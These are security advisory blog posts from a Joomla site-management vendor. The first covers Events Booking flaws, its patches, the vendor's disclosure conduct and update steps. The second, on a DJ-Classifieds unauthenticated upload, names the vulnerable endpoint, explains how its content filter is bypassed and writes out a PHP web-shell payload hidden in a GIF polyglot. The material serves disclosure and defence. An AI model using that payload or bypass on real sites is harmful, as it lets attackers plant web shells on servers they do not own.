BTW, the current implementation is quite safe. But since the upload file is open for public users to upload files during their registration, if someone uses it to upload multiple files, there is no way for the system to prevent that. That is the same for any public forms which allow public users to upload files

The fixes for the non-vulnerability

"There is no way for the system to prevent that" appears in the same changelog post that documents four brand new settings whose entire purpose is to prevent exactly that.

We obtained the 5.8.0 and 5.8.1 packages and diffed them. If the anonymous upload were not a security issue, 5.8.1 would be a quiet maintenance release. Instead, here is what the vendor shipped for that one endpoint across the two versions.

Hardening added	Version	What it does
CSRF token check	5.8.0	The token the vendor argued was useless is now required on the upload
Upload gated behind an existing File field	5.8.0	The endpoint is no longer live on every install by default
Per-field permission validation	5.8.1	The specific field being uploaded to must exist, must be a File type, and must be within the requester's authorised view levels
Max files per session (default 100)	5.8.1	New admin setting, capping how many files one visitor may upload
Max files per minute (default 20)	5.8.1	New admin setting, throttling upload rate
Upload folder size limit	5.8.1	New admin setting in MB, ships disabled
Max files in upload folder	5.8.1	New admin setting, ships disabled
Real image content validation	5.8.1	A 260-line image helper that runs `getimagesize` and `finfo` against anything with an image extension, so a file claiming to be a JPEG has to actually be one
Randomised filenames	5.8.1	Uploads are now prefixed with 16 random hex characters, so an attacker cannot predict or link to the path they wrote
Image validation on serving	5.8.1	The download endpoint re-validates that a file is a genuine image before serving it inline
`X-Content-Type-Options: nosniff`	5.8.1	Stops browsers MIME-sniffing a served file into something executable
Orphan file cleanup tool	5.8.1	A new admin function, described by the vendor as a "hidden tool", that deletes files in the upload folder with no matching registration record. There is also a scheduled task to run it automatically

Look at that last row again. The vendor shipped a tool to clean up the files that the not-a-security-issue endpoint had already accepted from strangers, and a scheduled task so it keeps cleaning them up.

The changelog also credits an .htaccess in the upload folder, added "just in case admin allows uploading php files by mistake". We can confirm the file is present in both packages and contains deny from all. Do not lean on it: that is an Apache directive. On nginx it is an inert text file, and plenty of Joomla hosting is nginx or a proxy in front of Apache.

Alongside the upload work, 5.8.1 also tightened output escaping from ENT_COMPAT to ENT_QUOTES (the former does not escape single quotes, a common source of cross-site scripting), and extended Joomla's filterText to sixteen editor fields on the event form that were previously being read raw.

All of this is good work, and 5.8.1 is a genuinely better release than 5.8.0. It is also twelve layers of defence built around an endpoint the vendor was still describing, in public, as fine.

There are two different builds of 5.8.0

One more thing to check if you already updated. Buried in the changelog thread is this:

Just want to update that some additional checks were added to make field upload more secure (just in case someone uses upload end point to attack your site by mass upload), so if you updated Events Booking before 16:10pm, 15 July 2026, you might want to download latest package and update it to your site again

The version number did not change. Two different packages shipped as 5.8.0, and which one you have depends on what time of day you clicked update. Anyone who updated promptly, which is to say anyone who took the security release seriously, got the weaker build and has no way to tell from the version number.

This is the second time in this story that a package changed without the version changing: the enumeration fix was pushed into the download package on 14 July with no changelog entry at all. Version numbers are how site owners and tools like ours reason about who is patched. When the contents move underneath a fixed version string, everybody downstream is working from bad data.

Going to 5.8.1 resolves it, which is the simplest reason to skip 5.8.0 entirely.

What 5.8.1 still does not do

Being straight about the limits of the fix, because "updated to 5.8.1" is not the same as "no longer reachable":

Anonymous uploads still work, by design. A public registration form has to accept uploads from people who are not logged in. Where a File field's access level is Public, which it must be for public registration, a guest still passes the new permission check. That is a legitimate design decision and the JSST accepted it as such. It does mean the endpoint remains an anonymous write path, now with limits on it.

The rate limits are per session. The 100-per-session and 20-per-minute counters are stored against the visitor's session. An attacker who discards their session cookie between batches gets a fresh allowance every time. This slows down a naive script, not a determined one.

The absolute caps ship disabled. upload_folder_size_limit and upload_max_files_in_folder both default to 0, meaning off. Out of the box, 5.8.1 has no ceiling on total files or total disk consumed. If you want one, you have to go and set it.

And if you do set it, you buy a different problem. Both caps are global to the upload folder. Once the limit is hit, further uploads are rejected for everyone, including genuine registrants. An attacker who fills the folder to your configured cap has denied service to your event sign-ups. Set these values, by all means, but set them with headroom and monitor the folder.

What customers were actually told

On 20 July, JoomDonation emailed its Events Booking customers about the 5.8.1 release. That email is how most site owners will learn any of this happened, so it matters more than the changelog does. It describes the enumeration flaw as "Information disclosure: Under certain conditions, an unauthenticated user could retrieve the name and email address associated with a registered user." Then, on the upload, in bold:

This should be considered a security improvement rather than a vulnerability. It is not a remote code execution vulnerability, and attackers could not upload executable files or gain control of your website.

Taking that apart honestly, because parts of it are true.

"It is not a remote code execution vulnerability" is correct, on a default configuration, and we have said the same thing throughout this post. The default allow-list has no PHP in it.

"Attackers could not upload executable files" is correct for the default allow-list and wrong as an absolute. That list is a configuration setting an administrator can edit, and the sentence makes a promise about every install rather than about the shipped defaults.

"Or gain control of your website" is a claim the vendor is not in a position to make. The same release that email is announcing added image content validation to the file-serving path and an X-Content-Type-Options: nosniff header to it. Those are defences against a served upload being interpreted as something other than an image. You do not add them to a path where nothing could ever go wrong.

"This should be considered a security improvement rather than a vulnerability" has already been settled by someone else. The Joomla CNA assigned CVE-2026-60024 three days before that email went out, describing the extension as having "by default allow[ed] unauthenticated users to upload media assets". A CVE is the industry's formal record of a vulnerability. It is not a security improvement.

"Under certain conditions" is carrying an enormous amount of weight. The condition, for the enumeration flaw, is that somebody sends a request.

Two things the email leaves out are worth noting. It presents "this update automatically disables the upload endpoint when your site does not use any File Upload custom fields" as a helpful new behaviour, when it is the fix for the CVE above: the endpoint should never have been live on installs that were not using it. And across the whole message there is no CVE number, no advisory link and no indication that three CVEs exist for what it describes.

The practical effect is what concerns us. A busy agency owner reading "these issues are not considered critical" and "a security improvement rather than a vulnerability" will file it under housekeeping and get to it next month. Given that the version data above shows not one install we can see was even on the current release, that is the outcome least likely to get anybody patched.

And then we were asked, repeatedly, to say nothing

Running alongside all of the above was a request that kept coming back: please hold off publishing.

It came on 15 July, after the 5.8.0 announcement had already gone out describing both bugs and naming the fixed version. We were asked for two days. It came again on 20 July, after the newsletter had gone to the entire customer base, this time phrased as "I hope you can wait and give customers few days to update because I only start sending newsletter today", with "as mentioned before" in front of it confirming this was not the first time. The same message asked whether publishing was "even legal by low".

There is a legitimate version of this request, and it is worth stating clearly before disagreeing with it. Coordinated disclosure normally does include a grace period after a patch ships. Researchers hold the technical detail back for a window so that site owners can update before attackers get a map. We honour that on every disclosure we make, which is why we sat on both of these findings until a fix existed.

The logic depends entirely on the vendor not having published the details themselves. That is not what happened here.

By the time the first request arrived, JoomDonation had already pushed a silent package on 14 July, published a changelog on 15 July that described both bugs by category and named the fixed version, and rebuilt the package again that afternoon. By the time the second arrived, an email had gone to every customer. A security release is itself a disclosure, and the loudest one available: it hands anyone who cares two packages to compare. We ran that comparison ourselves for this article. It took an afternoon and produced the table above. Nobody needs our permission or our write-up to do the same thing, and the people most likely to do it quickly are the ones with a reason to hurry.

So the delay does not slow an attacker down. It reaches the other group. The people who read security write-ups are the people trying to work out what to prioritise across a portfolio of client sites this week, and they are the only ones a silence reliably affects.

That matters more than usual here because of what those customers were told in the same breath. An email saying the upload is "a security improvement rather than a vulnerability" and that "these issues are not considered critical", combined with no independent analysis available to weigh it against, is not a neutral state of affairs. It is a one-sided account of a set of flaws that carry three CVEs. Waiting a few days would have meant customers making patching decisions with only that account in front of them.

The premise does not survive the data either. "Give customers a few days to update" assumes a world in which a few days changes the outcome. Not one Events Booking install we can see was running the current release, and roughly three quarters were an entire major version behind. The sites genuinely at risk here are years behind, not days.

We agreed to the first request. We published nothing on 15 July, nothing on the 16th, and nothing in the days after that. This article is going out on 20 July, five days later.

What happened during those five days is the reason there is no sixth. A second build shipped under the same version number. A follow-up release went out. An email reached every customer describing a CVE as a security improvement. And the request came round again, this time for "a few days" more, with a question about whether publishing was even legal attached to it. A hold that renews itself every time the vendor makes another public statement is not a coordination window, it is an open-ended veto.

Our commitment is to withhold the exploit until a fix exists. We have done that and are still doing it: there is no proof-of-concept, no endpoint name and no request format anywhere in this article, and there will not be. That commitment does not extend to staying silent indefinitely while the vendor publishes its own version of events to thousands of people.

Which brings us to what happens next. Today we reported a further security issue to the same vendor, an IDOR in 5.8.1. That report enters a 90 day disclosure period, the industry-standard clock, which runs to 18 October 2026. JoomDonation has until that date to ship a fix, and we will publish after it whether one exists or not.

Fixing the date in advance is the answer to everything in this section. Nobody has to ask anybody for silence, nobody has to argue about whether a release counts as disclosure, and nobody has to wonder when the window closes. It is written down, both sides can see it, and the clock does not restart every time somebody publishes a changelog.

What coordinated disclosure actually requires

It would be easy to read the last few sections as a personal complaint. They are not. Coordinated disclosure is a documented, standardised process with obligations on both sides, and the reason those obligations exist is that site owners cannot make good decisions without them. This section is the part we would ask any extension developer to read, because most of the friction in this case came from a process gap rather than from bad intent.

The relevant standards are not obscure. ISO/IEC 29147 covers vulnerability disclosure: how a vendor should receive reports and, importantly, how it should publish advisories. ISO/IEC 30111 covers the internal handling process that sits behind it. The CERT Guide to Coordinated Vulnerability Disclosure from Carnegie Mellon is the practitioner reference most researchers work to. FIRST publishes guidance for coordinating between multiple parties, which is exactly the situation once a national or project CNA is involved. OWASP publishes a short, readable cheat sheet for anyone who wants the summary rather than the standard.

They differ in detail and agree on the shape. The researcher withholds technical detail while a fix is produced. The vendor investigates in good faith, fixes, and then communicates accurately. Both halves are load-bearing, and the vendor's half is the one that gets skipped.

In practice, the vendor's obligations come down to this:

Assess the report on its merits, not on whether it feels like an attack you recognise. "This endpoint is meant to be public" is a design statement, not a security assessment.
Publish an advisory that describes what was wrong, not a changelog line that could equally describe a bug fix. Users triage from your advisory.
Change the version number when the contents change. A package rebuilt under the same version breaks the one signal everybody downstream relies on, including automated tooling.
Request a CVE, and put the number in your communications. Joomla runs its own CNA, so for Joomla extensions this costs an email.
Characterise severity honestly in customer-facing messages. Understating it does not calm anybody down, it just means the update does not get installed.
Correct the record visibly. Editing a published advisory without a note is how you lose the benefit of having published it.
Coordinate the timing, once, and in advance. Agree a publication date with the reporter before you ship, rather than asking for open-ended silence afterwards.
Credit the reporter. It costs nothing and it is the entire economy that produces reports like this one.

Measured against that list, this case was mixed rather than uniformly poor, and it is worth saying so. JoomDonation fixed the enumeration flaw quickly and without argument. They credited us publicly. They engaged with the JSST rather than ignoring it. They patched the Joomla 3 line when other vendors this month simply walked away from Joomla 3 altogether. The engineering response, once it got going, was genuinely thorough, as the hardening table above shows.

The communications were the failure. A silent package on 14 July, a changelog on 15 July that argued with the finding while fixing it, a second build shipped under the same version number that afternoon, published statements edited away without a correction note, a customer email describing a CVE as a security improvement, and repeated requests for our silence after each of those public acts. Every one of those is a communication decision rather than a coding one, and every one of them made it harder for a site owner to work out whether they needed to act.

That distinction matters because the bugs themselves are ordinary. Any codebase with a public front end grows them. What separates vendors is not whether they ship a vulnerability, it is what happens in the week afterwards, and that week is almost entirely made of communication.

Joomla 3 users: the fix exists, but it is not where you would look for it

JoomDonation has released Events Booking 4.9.5 for Joomla 3, containing the same fixes. Credit where it is due: many vendors would not have bothered patching a Joomla 3 line at all, and this month we wrote about JoomShaper abandoning Joomla 3 entirely while known critical holes remained open. JoomDonation did the work.

The problem is the distribution. When a customer on the changelog thread asked where to download it, having found that the download button only offered 5.8.0, the answer was:

We do not provide download package for Joomla 3 directly on Downloads section. If you need it, please submit a support ticket and we will send it to you

There is a second route, and it is the better one if it works for you: configure your Download ID in the component and use Joomla's own updater from the site's administrator area, which will offer 4.9.5 in place. That is the path the vendor recommends. Worth knowing, though, that the customer who asked reported back on the same thread that the updater route gave them a 403 error when they clicked through, which they suspected was their Admin Tools firewall blocking the update URL.

So on Joomla 3 the fix is real, but reaching it means either configuring a Download ID and hoping your firewall lets the updater through, or opening a support ticket and waiting for a human to email you a zip. Every extra step between a fix and the sites that need it costs you installs, and a support ticket is an expensive step: it needs an active subscription, a login, someone to write the ticket, and someone at the other end to answer it. Meanwhile the vulnerable version stays on the site. Attackers do not need to open a ticket to read the changelog and work out what changed.

If you run Events Booking on Joomla 3, start that today. And treat it as one more argument for the migration you have been putting off, because a security fix you have to request by hand is not a maintenance model that scales.

The number that worries us is not the severity

Here is the part of this story we find genuinely alarming, and it has nothing to do with how clever either bug is.

We can see Events Booking installed on just over 470 Joomla sites across our customers' accounts. When we checked which versions those sites were running, we did not find a long tail of stragglers behind a well-updated majority. We found this:

Version line	Share of installs
5.7.x (the current line at the time)	0%
5.x, but behind the current line	25%
4.x	65%
3.x	7%
2.x or older	2%

Read that top row again. Not one site we can see was running the current release. Roughly three quarters were an entire major version behind, and the single most common version across every install was a 4.9 release.

This is the uncomfortable truth behind every responsible disclosure. We found the bugs, they got argued about, they got fixed, and a patch now exists that will reach approximately nobody, because the sites running this extension were already years behind before we started looking. The security industry publishes a fixed-in version and calls the job done. The rollout is the part that actually protects anyone, and on this evidence the rollout barely happens.

If you manage Joomla sites and have not looked at your extension versions recently, that table is probably a description of your own portfolio. I have never met an administrator who decided that 4.9.4 was good enough. What I have met is a lot of people for whom updating an extension means logging into each site's admin one at a time, which is a job that grows with every client you win, so it waits until something breaks.

The root cause is a gate that was never there

Both findings come from the same architectural decision, and it is worth understanding because it predicts where the next bug in this codebase will be.

Events Booking's front end runs on the vendor's own controller framework. When a request arrives, the dispatcher takes the task parameter, maps it to a method on the controller, and calls it. That is a normal enough design. The problem is what the dispatcher does not do on the way: it performs no CSRF token check and no permission check at all. Both are helpers that each individual method has to remember to call for itself.

Opt-in security has a predictable failure mode. Every public method on every front-end controller is reachable by an anonymous visitor unless its author remembered to bolt a guard onto it, so the security of the component rests on nobody ever forgetting. Somebody always forgets.

The developers here plainly know the risk, which is what makes it instructive. Several of the front-end controllers do call the token check and a permission check, correctly, right at the top of the sensitive methods. The two endpoints we reported are the ones where that did not happen. Read that as a framework problem rather than a competence one: the guard is a line you add, so its absence is invisible. Nothing looks wrong on the screen. The reviewer has to spot a line that was never written, which is a much harder thing to ask of anyone than spotting a mistake.

That is the same shape as the AJAX endpoint problem we have written about, and the same reason it keeps producing findings across unrelated Joomla extensions. A framework that gated every task by default, and made a developer opt a method out to make it public, would have prevented both of these findings without anyone having to be careful.

How serious are they?

Two flaws, two different answers, and neither of them is a 10.0. We could have written this up as critical and plenty of the industry would have, but calling it a 10.0 would be dishonest and would make it harder for you to believe us next time something genuinely is one, as several of this month's findings were.

The anonymous upload

The Joomla CNA assigned CVE-2026-60024 and CVE-2026-60025 and has not published scores for either at the time of writing. Our own assessment puts it in the Medium band on a default configuration, with a High ceiling on any site that widened its attachment allow-list to an executable type, where it becomes unauthenticated remote code execution.

The allow-list is what keeps the default case out of the high range: no PHP, so no code execution. What stops it being a footnote is everything in the section above, and a CVSS vector captures that badly. "Integrity: low" is a thin way to describe illegal content served from your domain, under your hosting contract, in your name.

Severity here scales with how exposed your site is and how long it ran an affected version, rather than with how many users you have. A new site nobody has found yet is probably fine. A site that has been in Google for years with a public registration form has been reachable by every scanner on the internet for as long as this code has existed.

The user enumeration

We score this CVSS 4.0 6.9 (Medium). An anonymous attacker gets names and email addresses, not password hashes, and cannot write to the database or execute anything through it.

Severity here scales directly with your user table. A club site with six logins has a small problem. A ticketing site with 40,000 registrants has a personal data breach involving 40,000 people, from a bug that took one afternoon to find.

What both share

Neither has any barrier in front of it. No account, no token, no user interaction, no clever timing, no waiting for an administrator to click something. Anyone with a browser and a for-loop, against any affected site on the internet, silently. Compare that with the Phoca Download flaw from the same run, which scored higher but needed a registered account and a non-default setting enabled to work at all.

Update to Events Booking 5.8.1, or 4.9.5 on Joomla 3. A web application firewall will not save you here, because unlike a SQL injection there is no malicious payload for it to recognise: the attack is an ordinary, perfectly-formed request that the site is supposed to answer. The only thing wrong with it is who sent it, and your firewall has no way to know that.

That last point is worth dwelling on, because it inverts the usual advice. With the SQL injections we found in EDocman and DPCalendar, a SQL-filtering firewall could at least buy you time, because the attack contained recognisable SQL. Here there is nothing to filter. The request is valid. That leaves updating as the whole of your defence.

Which versions are affected, and which do you need?

We audited Events Booking 5.7.1, the current release when we found this, and confirmed both issues in it. Being straight about the limits of that: we did not audit every older release, so we cannot tell you exactly when either endpoint first appeared. What we can tell you is that both are long-standing features rather than something new in 5.7.

Treat any Events Booking at or below 5.7.1 as affected, and given the version spread above, that is very likely every install you own.

Your Joomla	Version to be on	How to get it
Joomla 4, 5 or 6	5.8.1 or later	Joomla's Extensions updater, or your JoomDonation account
Joomla 3	4.9.5	Not in the public downloads area. Configure a Download ID and use Joomla's updater, or open a support ticket

There is no 5.7.2: the release went straight from 5.7.1 to 5.8.0, then 5.8.1 followed within days. Do not stop at 5.8.0. Every one of the upload hardening measures in the table above arrived in 5.8.1, and 5.8.0 itself shipped as two different builds under one version number.

We have now reviewed both packages against what we reported. The enumeration fix in 5.8.0 is correct: the endpoint now requires the eventbooking.registrantsmanagement permission and throws a 403 without it. The upload fixes are as described above.

How do you update Events Booking safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. If you use mySites.guru, trigger a snapshot or a full backup so you have a clean starting point.
Expect a real upgrade, not a patch, if you are on 4.x. Two thirds of the installs we can see are a major version behind. Going from a 4.x build to 5.8.1 crosses a major version boundary, and on a component that handles registrations and payments you want that tested somewhere other than production. This is the tax on having skipped updates for years, and it is exactly why the sites that need this fix most will find it hardest to take.
Update through Joomla's Extensions manager, or in bulk from mySites.guru. On a single site, open the Joomla administrator, go to System, then Update, then Extensions, and let Joomla pull 5.8.1. If it does not appear, use Find Updates, or download the package from your JoomDonation account and install it over the top. If you manage more than one site, do not do this one panel at a time: use the mySites.guru mass update feature to upgrade every affected site from a single dashboard. You can also enable auto-updates for any Joomla extension so the next fix like this reaches your sites without you lifting a finger.
On Joomla 3, go and get 4.9.5. It is not in the downloads area. Configure your Download ID and Joomla's own updater should offer it in place; if you get a 403, check whether your security extension is blocking the update URL, and fall back to a support ticket.
Confirm the version. After updating, open Components, then Events Booking, and check the version shown is 5.8.1 or later.
Check your upload folder. Look in media/com_eventbooking/files for anything that does not belong to a real registration. If your site has been running an affected version on a public registration form, this is where anonymous uploads went. 5.8.1 ships an orphan file cleanup tool for exactly this.
Clear caches. Clear Joomla's cache and any CDN or page cache.

Updating closes the door. It does not undo any harvesting or uploading that already happened, so if you run a large registrant list, see the data protection point above.

How do I find every Events Booking site I manage?

mySites.guru keeps a live inventory of every extension, template and framework on every Joomla and WordPress site in your account. Search for Events Booking once and get back every connected site running it, the version each one is on, and whether an update is available. That is the same query we ran to produce the version table above, and you can run it against your own sites in about ten seconds.

View every Events Booking install across your sites

Open your Extension Inventory

Search for Events Booking across every connected Joomla site and filter for anything below 5.8.1. Not a subscriber? Sign up free and connect your sites.

Once you know which sites need it, the mass updater handles the rollout. When a fix ships we add the affected range to our vulnerability database, so every connected site still on a vulnerable version of Events Booking is flagged automatically. You should not have to read about a Joomla security issue in the news and then audit a portfolio of client sites by hand to find out whether it is your problem.

Booking and registration extensions deserve a closer look

Every extension that accepts input from anonymous visitors is attack surface, but registration and booking components carry a heavier consequence than most, and it is worth being explicit about why.

A page builder flaw leaks your site. A booking component flaw leaks your customers. The whole purpose of the extension is to collect personal details from the public and store them, which means the data at risk was never yours in the first place, it was entrusted to you. The same logic applies to the newsletter tools, form builders and document managers where we keep finding this pattern: AcyMailing, Balbooa Forms, EDocman, DPCalendar. They are all built to talk to strangers, so a missing check in one of them talks to strangers too.

None of which is an argument for avoiding these extensions. Events Booking is a capable, long-established component, both issues are now closed, and much of the code we reviewed was in better shape than most of what we audit. The payment verification in particular is done properly, which we cannot say about every Joomla extension that takes money. We were harder on the handling above than on the code, and that distinction is deliberate: the bugs themselves are ordinary, the sort any busy codebase grows. What is not ordinary is spending several days telling a reporter that an anonymous write path into your customers' web servers is not a security issue.

Stay ahead of the next one

There will be another one, because Joomla runs on thousands of third-party extensions and the ones that accept anonymous input keep producing bugs like this. The hard part was never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before someone else does.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

What to do right now

Update every Joomla 4, 5 and 6 site running Events Booking to 5.8.1 or later, one at a time or in bulk from one dashboard
On Joomla 3, get 4.9.5: set a Download ID and use Joomla's updater, or open a JoomDonation support ticket. It is not in the public downloads area
Do not stop at 5.8.0. The upload hardening is in 5.8.1, and 5.8.0 shipped as two different builds under the same version number
Check media/com_eventbooking/files for files with no matching registration, and clear them out
If you are on a 4.x build, plan and test the major version upgrade rather than clicking update on production and hoping
Do not rely on a firewall for this one. There is no payload to filter, so there is nothing for it to block
If you manage multiple sites, let mySites.guru show you which ones are still exposed rather than checking by hand
If you run a large registrant list and were on an affected version for a long time, treat the names and email addresses as potentially harvested and talk to whoever owns data protection where you work
If you suspect something worse, find any hacked files and backdoors and follow our guide to fixing a hacked Joomla or WordPress site

Disclosure and Severity

6.9 CVSS 4.0

Medium Our own assessment of the user enumeration; three CVEs assigned by the Joomla CNA

Both flaws are unauthenticated and exploitable over the internet in a single request with no user interaction. The enumeration is limited to reading names and email addresses, and the upload is constrained by the attachment allow-list on a default configuration, which is what keeps both out of the high range.

No login needed Exploitable over the internet On by default Anonymous file write No firewall mitigation

Field	Detail
CVEs	CVE-2026-58149 (user enumeration), CVE-2026-60024 (default unauthenticated upload), CVE-2026-60025 (missing CSRF token on upload), all assigned via the Joomla CNA
Component	Events Booking for Joomla (`com_eventbooking`)
Vendor	JoomDonation / Ossolution (joomdonation.com)
Type	Unauthenticated file upload (CWE-434), missing CSRF protection (CWE-352), and authorisation bypass through a user-controlled key (CWE-639)
CVSS 4.0	6.9 (Medium) for the enumeration, `AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N` (our own assessment). No public score yet for the upload CVEs
Impact	Anonymous file writes to the web server, and anonymous read of the name and email address of every user on the site
Finder	Phil Taylor, mySites.guru
Affected versions	5.7.1 and earlier, and the Joomla 3 line below 4.9.5
Fixed in	5.8.0 (both flaws), 5.8.1 (substantial upload hardening), 4.9.5 (Joomla 3, by support ticket)

We follow a fix-first, publish-second process: private disclosure to the vendor, a window for a patch, then a public write-up without a proof-of-concept.

Date	Event
13 July 2026	While disclosing the unrelated EDocman SQL injection to the same vendor, mySites.guru gives JoomDonation a heads-up that Events Booking appears to have two security issues of its own, pending a closer look. JoomDonation re-reviews the Events Booking source in response.
14 July 2026	A fix for the enumeration flaw is pushed into the Events Booking download package with no changelog entry and no announcement. Customers query the undocumented change, and a fellow Joomla developer emails us having spotted a new build appear that day.
15 July 2026, morning	mySites.guru audits the Events Booking 5.7.1 source, confirms both issues, and discloses them in full privately to JoomDonation, copying the Joomla Security Strike Team. All public detail is withheld. JoomDonation confirms the enumeration flaw and disputes the upload as invalid. The JSST backs the CSRF finding in writing.
15 July 2026, 10:02	JoomDonation publishes Events Booking 5.8.0. The announcement credits mySites.guru, states the first issue "was fixed before he reported", and calls the second "not really a security issue". JoomDonation asks mySites.guru to delay publication by two days. mySites.guru agrees and publishes nothing.
15 July 2026, 11:02	Three minutes after mySites.guru challenges the two statements, the announcement is edited and both are removed, with no correction note.
15 July 2026, 16:10	The 5.8.0 package is rebuilt with further upload checks and re-published under the same version number. The changelog thread advises anyone who updated before this time to download and install again. A customer replies on the same thread that the release "does not appear to fix the issues".
17 July 2026	JoomDonation confirms to the JSST that the upload was enabled by default before 5.8.0, and that "several additional protections have been implemented for file upload". The Joomla CNA assigns CVE-2026-58149, CVE-2026-60024 and CVE-2026-60025, all crediting Phil Taylor of mySites.guru.
17 to 20 July 2026	Work continues on the upload endpoint. File timestamps in the shipped 5.8.1 package span 17, 18, 19 and 20 July, covering the rate limiting, per-field permission checks, image validation, randomised filenames and the orphan file cleanup tool.
20 July 2026	JoomDonation emails Events Booking customers about 5.8.1, telling them in bold that the upload issue "should be considered a security improvement rather than a vulnerability" and that attackers "could not upload executable files or gain control of your website". The email carries no CVE numbers. JoomDonation asks mySites.guru for a further delay before publishing.
20 July 2026	mySites.guru obtains the 5.8.0 and 5.8.1 packages and diffs them, confirming the fixes, the scope of the additional hardening and the unauthenticated read-back path. The changelog announcement is rewritten again during the day to document the 5.8.1 changes, the cleanup tool and the Joomla 3 position. mySites.guru adds the affected ranges to its Joomla vulnerability database so every connected site below the fix is flagged, and publishes this write-up. No proof-of-concept is released.
20 July 2026	mySites.guru privately reports a separate security vulnerability to JoomDonation, an IDOR in 5.8.1. Details are withheld pending a fix. The report enters a 90 day disclosure period running to 18 October 2026.

DJ-Classifieds Unauthenticated File Upload

phil@mysites.guru (Phil Taylor) — Mon, 20 Jul 2026 00:00:00 GMT

Most of the Joomla extension flaws we write up start with a code audit. This one started with a line in a customer's server log. A site we look after showed an anonymous request hitting DJ-Classifieds' image upload endpoint and dropping a randomly named .gif file, with no login behind it. That is the fingerprint of an automated scanner probing an upload it can reach without an account.

DJ-Classifieds is a popular classifieds and ads component for Joomla by DJ-Extensions. We pulled the code apart, reproduced the upload on a controlled test install, and confirmed an unauthenticated arbitrary file upload: the front-end task index.php?option=com_djclassifieds&task=imageupload accepts a file with no login and no CSRF token. We reported it privately to DJ-Extensions, and they shipped DJ-Classifieds 3.11.2 as a dedicated security release three days later, on 20 July 2026.

If any of your Joomla sites run DJ-Classifieds, update them to 3.11.2 now, then read on for what the flaw did, why the version's existing "no executable files" defence did not hold, and how to check whether you were already hit.

Update to DJ-Classifieds 3.11.2

3.11.2 is the fix. It puts authentication and a session token on the imageupload endpoint and restricts uploads to real image types on the server side. Update every DJ-Classifieds site you run. If you cannot update immediately, block requests to the imageupload task at a firewall as a stopgap.

TL;DR

Unauthenticated arbitrary file upload in DJ-Classifieds, a Joomla classifieds component. The front-end task option=com_djclassifieds&task=imageupload writes a file with no login and no CSRF token
We found it from a customer's server logs, not a lab: an anonymous request was dropping a randomly named .gif through this exact endpoint
The component's controls stop a bare .php, but the malicious-content scan only matches three literal strings, so PHP hidden in a valid image with short tags is stored intact
Not a clean remote code execution on a default server (the image is served inert), but a reliable web-shell-in-image plant, and outright RCE on hosts that run a whitelisted extension or via a local file include. We rate it High
Affects every version up to and including 3.11.1 (confirmed live on 3.10.1, by code on 3.11.1, present back to at least 3.9.2). Fixed in 3.11.2, released 20 July 2026
Now tracked as CVE-2026-61424. It is not CVE-2025-54474, which is a separate authenticated SQL injection in the same version range
Update to 3.11.2 on every affected site, then check for compromise. DJ-Extensions shipped the fix quickly and published a proper security release for it

How We Found It, and Why That Matters

The trigger was a single log entry on a site we manage. Stripped down, it was an anonymous request to:

option=com_djclassifieds task=imageupload name=<random>.gif filename=<random>.gif

No cookie, no session, no referring page from an editing screen. Just a bare hit on an upload task, writing a randomly named GIF. That signature, a scanner probing an upload it can reach without logging in, is worth investigating on its own, and it led straight to the component's upload handler.

This is the part that does not show up in a changelog. DJ-Extensions' own 3.11.2 release notes describe the risk as files being stored "temporarily" and say that "executing arbitrary code was heavily restricted." That is a fair description of the default-server case, but it undersells what we actually saw: the endpoint was being hit in the wild by an anonymous client before any fix existed. When a flaw is reachable with no login, you do not get to assume nobody has found it. Somebody had.

How Do I Find Every DJ-Classifieds Site I Manage?

When a flaw drops in a component that could be on any number of your client sites, the first question is always the same: which of my sites run it, and on what version? Logging into forty Joomla admin panels to read the DJ-Classifieds version on each is not a plan when a scanner is already working through upload endpoints.

mySites.guru records the exact version of every installed extension across every connected Joomla site on a twice-daily snapshot. The extension inventory shows every site running DJ-Classifieds, with the version on each, in seconds. Filter for anything below 3.11.2 and you have your work list.

Find every DJ-Classifieds install across your sites

Open your Extension Inventory

Search for DJ-Classifieds across every connected Joomla site and filter for anything below 3.11.2 to find the installs that need updating. Not a subscriber? Sign up free and connect your sites.

Combined with the mass extension updater, you can push 3.11.2 across every affected site in one batch instead of an afternoon of admin logins. That is the difference between patching before the scanner comes back and finding out the hard way.

What the DJ-Classifieds Upload Flaw Actually Does

The vulnerable code is the upload() method in administrator/components/com_djclassifieds/lib/djupload.php. The site controller's imageupload task calls it directly, with nothing in front of it: no login check, and no Joomla anti-CSRF token. The filename comes from the request (name / filename), and the file body is read straight from php://input. The file is written into the component's configured upload directory, which defaults to tmp/djupload under your web root and is served over HTTP like any other file.

To be fair to the component, several guards do hold, which is why this is not a one-line .php drop:

An extension allow-list. Uploads are limited to a fixed list (jpg, jpeg, png, bmp, gif, pdf, tif, tiff, txt, csv, doc and similar, through to zip). php is not on it.
A direct block on executable extensions. A preg_match('/\.(php|shtml|pht|asp)/i', $filePath) rejects .php, the classic double extension .php.gif, and .phtml.
Filename sanitisation. preg_replace('/[^\w\._]+/', '_', $name) strips path separators, so there is no directory traversal out of the upload folder.

The guard that fails is the malicious-content scan. It reads the uploaded bytes and rejects the file only if it contains one of three literal strings: <?php, eval(, or base64. That list looks reasonable and is trivially incomplete. PHP does not need the string <?php to run. A short tag opens a PHP block just as well:

<?=system($_GET['c']);?>

There is no <?php, no eval( and no base64 anywhere in that, so the scan passes it. The older <script language="php"> form clears it too. Now layer that onto the image requirement. Files with an image extension are validated with getimagesize(), and getimagesize() is satisfied by a valid header, not a clean file. A GIF that starts with the real GIF89a header and carries the PHP after it is a valid image and a PHP file at the same time. The allow-list is happy, the extension block is happy, getimagesize() is happy, and the three-string scan is happy, so the polyglot is stored on your server byte for byte.

On our controlled test of 3.10.1, that is exactly what happened. A baseline GIF uploaded anonymously and read back over HTTP with a 200. A bare .php, a .php.gif and a .phtml were all refused with "Wrong file format". A polyglot GIF carrying <?=system($_GET['c']);?> was accepted and stored intact, served back as image/gif. There is also a smaller timing issue worth noting: the handler rename()s the uploaded temp file into place before it runs the extension and content checks and its cleanup @unlink, so there is a brief window where the raw file exists on disk under a predictable path.

Is This Remote Code Execution?

Not on a normal server, and it matters to say so plainly. The whole point of the checks above is that a stored polyglot GIF is served as an image and never executed as PHP. On a default Apache, FrankenPHP or nginx stack, requesting that GIF gives you back an image, not a shell. If a post tells you every unauthenticated upload is an automatic maximum-severity RCE, it is not being straight with you.

